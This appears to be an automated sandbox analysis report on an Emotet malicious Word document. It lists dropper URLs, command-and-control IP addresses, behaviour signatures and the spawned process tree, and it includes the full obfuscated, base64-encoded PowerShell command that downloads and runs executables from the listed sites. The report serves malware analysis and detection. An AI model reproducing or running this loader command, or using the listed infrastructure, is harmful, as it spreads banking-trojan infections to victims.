Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    132s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    29/08/2020, 09:17

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_e6a9504687e323b407f75b7da6fac5fd2d27fcc79adf2bd95d66450b053f8f69_2020-08-29__091502._doc.doc
  • Size 229KB
  • Sample200829-85slpbdwbe
  • SHA256 e6a9504687e323b407f75b7da6fac5fd2d27fcc79adf2bd95d66450b053f8f69
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://theexchangemascot.com/cgi-bin/EPorHOo/
  • exe.dropper

    http://zarahmoden.com/wp-admin/oyF/
  • exe.dropper

    http://www.taleotecnoracing.com/font/vQDBrVh/
  • exe.dropper

    http://wijgaanscheiden.com/golfupdate.nl/Vlq60c/
  • exe.dropper

    http://yachtresort.net/wp-admin/6Jwnw/
  • exe.dropper

    http://sukhumvithomes.com/wp-includes/WNy9/
  • exe.dropper

    https://www.xindakitalia.com/download/1/

Extracted

Family

  • emotet

C2

  • 67.68.210.95:80

  • 162.241.242.173:8080

  • 45.55.36.51:443

  • 45.55.219.163:443

  • 68.188.112.97:80

  • 46.105.131.79:8080

  • 78.24.219.147:8080

  • 37.70.8.161:80

  • 153.232.188.106:80

  • 209.141.54.221:8080

  • 203.117.253.142:80

  • 152.168.248.128:443

  • 93.147.212.206:80

  • 24.137.76.62:80

  • 189.212.199.126:443

  • 204.197.146.48:80

  • 137.119.36.33:80

  • 185.94.252.104:443

  • 139.130.242.43:80

  • 203.153.216.189:7080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_e6a9504687e323b407f75b7da6fac5fd2d27fcc79adf2bd95d66450b053f8f69_2020-08-29__091502._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:900
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABHAHUAOQA0AF8AZQBiAD0AKAAnAE4AMQAnACsAKAAnAGkAdQAnACsAJwBsAG8ANQAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgBWADoAdABFAG0AcABcAHcATwByAGQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAGUAYwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAYABSAGkAdABgAFkAUABgAFIATwB0AE8AYwBPAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAxADIAJwArACcALAAnACkAKwAoACcAIAB0ACcAKwAnAGwAcwAxACcAKwAnADEALAAnACkAKwAnACAAdAAnACsAJwBsAHMAJwApADsAJABEAHEAMQB3AGwAYwAwACAAPQAgACgAJwBHAGEAJwArACcAegBzACcAKwAoACcAMwAxADgAJwArACcANgBtACcAKQApADsAJABCAHEANwBxADUAdAByAD0AKAAoACcAVQAnACsAJwA1ADkAagA4ACcAKQArACcAbAB3ACcAKQA7ACQATAB5AGkAawB3AGMAdAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcASwBWACcAKwAnAGcAdwAnACsAKAAnAG8AcgBkAEsAVgBnADIAMAAnACsAJwAxACcAKQArACcAOQAnACsAKAAnAEsAJwArACcAVgBnACcAKQApAC4AIgByAEUAUABMAEEAYABDAGUAIgAoACgAJwBLAFYAJwArACcAZwAnACkALAAnAFwAJwApACkAKwAkAEQAcQAxAHcAbABjADAAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABVADgANQAwADUAMwB4AD0AKAAoACcASgAnACsAJwBrAG8AcQAnACkAKwAoACcAcwB0ACcAKwAnAHgAJwApACkAOwAkAFQAbAA4AGUAZwBfAGEAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAYwBMAEkARQBOAHQAOwAkAFgANwBjAGgAOAB2AGIAPQAoACgAJwBoAHQAJwArACcAdAAnACkAKwAnAHAAJwArACgAJwA6AC8AJwArACcALwB0AGgAZQAnACsAJwBlAHgAYwBoAGEAJwArACcAbgBnAGUAbQAnACsAJwBhACcAKQArACcAcwAnACsAKAAnAGMAbwAnACsAJwB0ACcAKQArACgAJwAuAGMAJwArACcAbwAnACkAKwAnAG0ALwAnACsAJwBjAGcAJwArACcAaQAnACsAKAAnAC0AJwArACcAYgBpAG4ALwAnACkAKwAoACcARQBQAG8AcgAnACsAJwBIAE8AJwApACsAJwBvAC8AJwArACgAJwAqAGgAdAB0AHAAOgAvACcAKwAnAC8AegAnACsAJwBhACcAKwAnAHIAYQBoAG0AJwApACsAKAAnAG8AZABlAG4ALgBjAG8AJwArACcAbQAvAHcAJwArACcAcAAtACcAKQArACcAYQAnACsAKAAnAGQAJwArACcAbQBpAG4ALwAnACkAKwAnAG8AJwArACcAeQBGACcAKwAoACcALwAqACcAKwAnAGgAdAB0AHAAOgAnACkAKwAnAC8AJwArACgAJwAvACcAKwAnAHcAdwAnACkAKwAoACcAdwAuACcAKwAnAHQAJwApACsAJwBhACcAKwAnAGwAJwArACgAJwBlAG8AdAAnACsAJwBlAGMAJwArACcAbgAnACkAKwAnAG8AcgAnACsAJwBhACcAKwAnAGMAaQAnACsAJwBuAGcAJwArACcALgAnACsAJwBjAG8AJwArACgAJwBtACcAKwAnAC8AZgBvAG4AdAAnACkAKwAoACcALwB2ACcAKwAnAFEAJwApACsAKAAnAEQAQgByAFYAaAAnACsAJwAvACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAvACcAKwAnAHcAJwApACsAKAAnAGkAagAnACsAJwBnAGEAYQBuACcAKQArACgAJwBzACcAKwAnAGMAaAAnACkAKwAoACcAZQBpAGQAJwArACcAZQBuAC4AJwApACsAKAAnAGMAbwBtACcAKwAnAC8AZwAnACkAKwAnAG8AJwArACcAbAAnACsAJwBmAHUAJwArACgAJwBwAGQAJwArACcAYQB0AGUALgBuACcAKQArACgAJwBsAC8AJwArACcAVgBsAHEANgAwAGMAJwArACcALwAnACkAKwAoACcAKgBoACcAKwAnAHQAJwApACsAJwB0AHAAJwArACgAJwA6ACcAKwAnAC8ALwB5ACcAKQArACgAJwBhAGMAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwByACcAKwAnAGUAcwBvAHIAdAAnACsAJwAuAG4AJwApACsAKAAnAGUAJwArACcAdAAnACsAJwAvAHcAcAAtACcAKQArACcAYQAnACsAKAAnAGQAJwArACcAbQBpACcAKQArACcAbgAvACcAKwAoACcANgBKAHcAbgB3ACcAKwAnAC8AKgAnACsAJwBoAHQAJwApACsAKAAnAHQAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAcwB1AGsAaAB1AG0AJwApACsAJwB2ACcAKwAnAGkAJwArACgAJwB0AGgAJwArACcAbwBtAGUAJwArACcAcwAnACkAKwAoACcALgBjACcAKwAnAG8AJwArACcAbQAvAHcAcAAtACcAKQArACgAJwBpAG4AYwAnACsAJwBsAHUAJwApACsAKAAnAGQAZQBzACcAKwAnAC8AVwAnACkAKwAoACcATgAnACsAJwB5ADkAJwArACcALwAqAGgAdAB0AHAAcwA6AC8ALwAnACsAJwB3AHcAdwAnACsAJwAuAHgAJwApACsAKAAnAGkAJwArACcAbgBkAGEAawAnACsAJwBpACcAKQArACcAdAAnACsAKAAnAGEAbABpAGEALgAnACsAJwBjACcAKQArACcAbwBtACcAKwAnAC8AJwArACgAJwBkACcAKwAnAG8AdwAnACkAKwAoACcAbgBsACcAKwAnAG8AJwApACsAKAAnAGEAZAAnACsAJwAvADEALwAnACkAKQAuACIAcwBQAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABMAGIAYwB3AHcAYwA3AD0AKAAnAEMANwAnACsAJwB2ACcAKwAoACcAYQA5ACcAKwAnAF8AZQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFAAcQB6AGIAbgA3AGMAIABpAG4AIAAkAFgANwBjAGgAOAB2AGIAKQB7AHQAcgB5AHsAJABUAGwAOABlAGcAXwBhAC4AIgBEAGAAbwB3AE4ATABvAGEAZABgAEYAaQBgAEwAZQAiACgAJABQAHEAegBiAG4ANwBjACwAIAAkAEwAeQBpAGsAdwBjAHQAKQA7ACQAVwBiADgAYQBhAG8AZQA9ACgAKAAnAFYAYgBjACcAKwAnAHQAJwApACsAKAAnAGYAYQAnACsAJwA5ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEwAeQBpAGsAdwBjAHQAKQAuACIATABgAEUATgBgAEcAVABoACIAIAAtAGcAZQAgADIANQA0ADMAMAApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABMAHkAaQBrAHcAYwB0ACkAOwAkAFYANAA2AGkAYQBlADEAPQAoACcARAA3ACcAKwAoACcAOQBnACcAKwAnAHgAJwApACsAJwA4AG8AJwApADsAYgByAGUAYQBrADsAJABaAHYAcgB3AHgAYwBjAD0AKAAnAFUANAAnACsAKAAnAHYAXwBuACcAKwAnAHUAYwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQA1AGQAZwBrAGYANwA9ACgAJwBFACcAKwAoACcAXwA4ACcAKwAnAHMAZwBkACcAKQArACcAZwAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1948
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Gazs3186m.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Gazs3186m.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1348
      • C:\Windows\SysWOW64\KBDKAZ\DeviceProperties.exe
        "C:\Windows\SysWOW64\KBDKAZ\DeviceProperties.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1308

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/304-22-0x000007FEF70B0000-0x000007FEF732A000-memory.dmp
        Download

        memory/900-4-0x0000000006E90000-0x0000000007090000-memory.dmp
        Download

        memory/900-5-0x000000000AE50000-0x000000000AE54000-memory.dmp
        Download

        memory/900-2-0x0000000008920000-0x0000000008924000-memory.dmp
        Download

        memory/1308-21-0x00000000002D0000-0x00000000002DC000-memory.dmp
        Download

        memory/1348-17-0x00000000002E0000-0x00000000002EC000-memory.dmp
        Download

        memory/1948-9-0x0000000001EB0000-0x0000000001EB1000-memory.dmp
        Download

        memory/1948-14-0x000000001C3E0000-0x000000001C3E1000-memory.dmp
        Download

        memory/1948-13-0x0000000002A80000-0x0000000002A81000-memory.dmp
        Download

        memory/1948-12-0x00000000023F0000-0x00000000023F1000-memory.dmp
        Download

        memory/1948-11-0x0000000001FF0000-0x0000000001FF1000-memory.dmp
        Download

        memory/1948-10-0x000000001AD00000-0x000000001AD01000-memory.dmp
        Download

        memory/1948-8-0x000007FEF21C0000-0x000007FEF2BAC000-memory.dmp
        Download